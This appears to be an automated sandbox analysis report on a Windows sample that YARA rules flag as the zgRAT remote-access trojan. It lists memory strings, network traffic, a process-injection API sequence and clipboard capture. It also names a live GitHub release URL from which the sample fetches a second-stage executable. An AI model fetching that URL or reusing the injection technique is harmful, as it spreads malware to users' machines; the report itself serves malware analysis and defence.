Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.0000000003331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1473468111.0000000004751000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.1650116521.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: powershell.exe, 00000003.00000002.1473468111.00000000048A6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/D
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field1
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field1Response
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field1ResponseD
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field2
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field2Response
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field2ResponseD
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field3
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.1650116521.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.1650116521.00000000030B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field3Response
Source: MSBuild.exe, 00000008.00000002.1650116521.00000000030B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/example/Field3ResponseD
Source: powershell.exe, 00000003.00000002.1473468111.00000000048A6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: MSBuild.exe, 00000008.00000002.1650116521.00000000030B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.o
Source: powershell.exe, 00000003.00000002.1473468111.0000000004751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ip.sb/ip
Source: powershell.exe, 00000003.00000002.1475483757.00000000057B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1475483757.00000000057B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1475483757.00000000057B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discord.com/api/v9/users/
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.000000000339B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com
Source: powershell.exe, 00000003.00000002.1473468111.00000000048A6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: 9LrEuTWP8s.exe String found in binary or memory: https://github.com/Xavieprowel/crispy-palm-tree/releases/download/1/uh3ex1.exe
Source: powershell.exe, 00000003.00000002.1475483757.00000000057B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.00000000033CF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://objects.githubusercontent.com
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.00000000033CF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/882783246/b23a0dba-ce39
Source: unknown Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.9:49708 version: TLS 1.2
Creates a window with clipboard capturing capabilities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 8.2.MSBuild.exe.f00000.0.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 6.2.uh3ex1.exe.6d5ab000.4.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 6.2.uh3ex1.exe.6d590000.3.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000006.00000002.1580971766.000000006D5AB000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY Matched rule: Detects zgRAT Author: ditekSHen
.NET source code contains very large array initializations
Source: uh3ex1.exe.1.dr, -Module-.cs Large array initialization: _206D_200E_206C_200E_206F_202E_202C_206C_202D_206C_206D_200D_206E_206E_202C_202A_202D_202E_206F_202D_200F_200E_200C_200D_202B_200F_206E_202C_200B_200F_206C_206E_202A_202A_200C_206A_202B_202C_202A_200D_202E: array initializer size 54016
Source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, Strings.cs Large array initialization: Strings: array initializer size 6160
Contains functionality to call native functions
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D593C10 WindowsHandle,GetConsoleWindow,ShowWindow,VirtualAlloc,CreateProcessW,NtGetContextThread,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtSetContextThread,NtResumeThread,CloseHandle,CloseHandle,NtGetContextThread,NtWriteVirtualMemory,NtCreateThreadEx,CloseHandle,CloseHandle, 6_2_6D593C10
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D5936D0 GetModuleHandleW,NtQueryInformationProcess, 6_2_6D5936D0
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_046BB490 3_2_046BB490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_046BB470 3_2_046BB470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_08743A98 3_2_08743A98
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D593C10 6_2_6D593C10
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D591360 6_2_6D591360
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D5936D0 6_2_6D5936D0
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D596C40 6_2_6D596C40
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D591000 6_2_6D591000
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D592C30 6_2_6D592C30
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D5A26B5 6_2_6D5A26B5
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC58A0 6_2_00FC58A0
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1478 6_2_00FC1478
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC39F0 6_2_00FC39F0
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC5170 6_2_00FC5170
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC5BF8 6_2_00FC5BF8
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC23E0 6_2_00FC23E0
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC0FC8 6_2_00FC0FC8
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3BB3 6_2_00FC3BB3
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC34FF 6_2_00FC34FF
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3CFA 6_2_00FC3CFA
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC2CE0 6_2_00FC2CE0
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3C78 6_2_00FC3C78
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC404F 6_2_00FC404F
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3C1D 6_2_00FC3C1D
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3818 6_2_00FC3818
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC5417 6_2_00FC5417
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC4408 6_2_00FC4408
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3808 6_2_00FC3808
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC4DD9 6_2_00FC4DD9
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3D79 6_2_00FC3D79
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3D43 6_2_00FC3D43
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC4138 6_2_00FC4138
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3110 6_2_00FC3110
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3EB9 6_2_00FC3EB9
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3E7E 6_2_00FC3E7E
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC2A60 6_2_00FC2A60
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3E55 6_2_00FC3E55
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3E0A 6_2_00FC3E0A
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC43F8 6_2_00FC43F8
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC23DF 6_2_00FC23DF
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC0FC7 6_2_00FC0FC7
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3F83 6_2_00FC3F83
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC3F07 6_2_00FC3F07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_01537660 8_2_01537660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_01530878 8_2_01530878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_01530869 8_2_01530869
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_01537660 8_2_01537660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E6420 8_2_054E6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E1020 8_2_054E1020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E3640 8_2_054E3640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E363E 8_2_054E363E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E0001 8_2_054E0001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E63E6 8_2_054E63E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E3988 8_2_054E3988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E3986 8_2_054E3986
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E2BD9 8_2_054E2BD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E2BF8 8_2_054E2BF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0709D078 8_2_0709D078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0709F9A0 8_2_0709F9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0711F738 8_2_0711F738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0711D5E8 8_2_0711D5E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0711EC20 8_2_0711EC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07118B98 8_2_07118B98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0711B8E8 8_2_0711B8E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07111FF0 8_2_07111FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07112000 8_2_07112000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07110007 8_2_07110007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07110040 8_2_07110040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071B1E28 8_2_071B1E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071B4240 8_2_071B4240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071B3AD0 8_2_071B3AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071C9590 8_2_071C9590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071C35F0 8_2_071C35F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071C54B0 8_2_071C54B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071C64A0 8_2_071C64A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071CD230 8_2_071CD230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071C71D0 8_2_071C71D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071CDDA0 8_2_071CDDA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071CDDF8 8_2_071CDDF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071CE608 8_2_071CE608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071CE5F8 8_2_071CE5F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071C6490 8_2_071C6490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071C54A1 8_2_071C54A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071C71C0 8_2_071C71C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_071CDDE8 8_2_071CDDE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07273659 8_2_07273659
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0727B5B8 8_2_0727B5B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07277148 8_2_07277148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07279F90 8_2_07279F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0727DB88 8_2_0727DB88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07278288 8_2_07278288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0727DB77 8_2_0727DB77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0727BAE0 8_2_0727BAE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0727BAD1 8_2_0727BAD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072A2FB0 8_2_072A2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072A9EB8 8_2_072A9EB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072A7A88 8_2_072A7A88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072A4290 8_2_072A4290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072AE900 8_2_072AE900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072A0040 8_2_072A0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072A38E8 8_2_072A38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072A8A18 8_2_072A8A18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07472EE8 8_2_07472EE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07476AC0 8_2_07476AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07474900 8_2_07474900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0747D9D9 8_2_0747D9D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07471E48 8_2_07471E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07471E58 8_2_07471E58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07479E38 8_2_07479E38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07472ED8 8_2_07472ED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07472EE7 8_2_07472EE7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07471250 8_2_07471250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07471260 8_2_07471260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07475140 8_2_07475140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07478950 8_2_07478950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_074748F0 8_2_074748F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0760B740 8_2_0760B740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07604720 8_2_07604720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0760E338 8_2_0760E338
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07609030 8_2_07609030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_076030D8 8_2_076030D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0760D090 8_2_0760D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0760AE88 8_2_0760AE88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07601D80 8_2_07601D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07602CC0 8_2_07602CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0760EAE8 8_2_0760EAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07600448 8_2_07600448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_076030CA 8_2_076030CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07601D70 8_2_07601D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07602CB0 8_2_07602CB0
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Roaming\gdi32.dll DB4C8F95A46EC357887B98CCA78E3E6257F9EF6E7C965438328AB74A9A43FA8B
Found potential string decryption / allocating functions
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: String function: 6D597C10 appears 33 times
Sample file is different than original file name gathered from version info
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.000000000344A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameUlyssesLiamQuinn.dqH vs 9LrEuTWP8s.exe
Source: 9LrEuTWP8s.exe, 00000001.00000002.1531789671.00000000033C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameUlyssesLiamQuinn.dqH vs 9LrEuTWP8s.exe
Source: 9LrEuTWP8s.exe, 00000001.00000000.1421187680.0000000000F74000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameConsoleApp2.exe8 vs 9LrEuTWP8s.exe
Source: 9LrEuTWP8s.exe, 00000001.00000002.1530637839.000000000145E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs 9LrEuTWP8s.exe
Source: 9LrEuTWP8s.exe Binary or memory string: OriginalFilenameConsoleApp2.exe8 vs 9LrEuTWP8s.exe
Yara signature match
Source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 8.2.MSBuild.exe.f00000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 6.2.uh3ex1.exe.6d5ab000.4.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 6.2.uh3ex1.exe.6d590000.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000006.00000002.1580971766.000000006D5AB000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: uh3ex1.exe.1.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, Strings.cs Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, Class4.cs Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, Class4.cs Cryptographic APIs: 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@11/11@2/3
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9LrEuTWP8s.exe.log Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7752:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_podo2qxv.dbg.ps1 Jump to behavior
